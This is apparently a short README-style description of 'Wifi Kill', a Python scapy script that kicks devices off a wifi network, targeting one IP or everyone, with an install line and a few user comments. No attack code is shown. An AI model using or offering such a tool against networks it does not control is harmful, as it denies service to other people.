Wifi Kill

A python program that uses scapy to kick people off of wifi. The script must be run as sudo. The script also requires that scapy be installed. To install it, do

sudo apt-get install python-scapy

The program lists the devices connected to the network then allows you to:

• Prevent the desired ip from accessing the network
• Prevent everyone from accessing the network

it is saying that the apt part of the scapy code is wrong

Was usefull for me

will it work on windows?
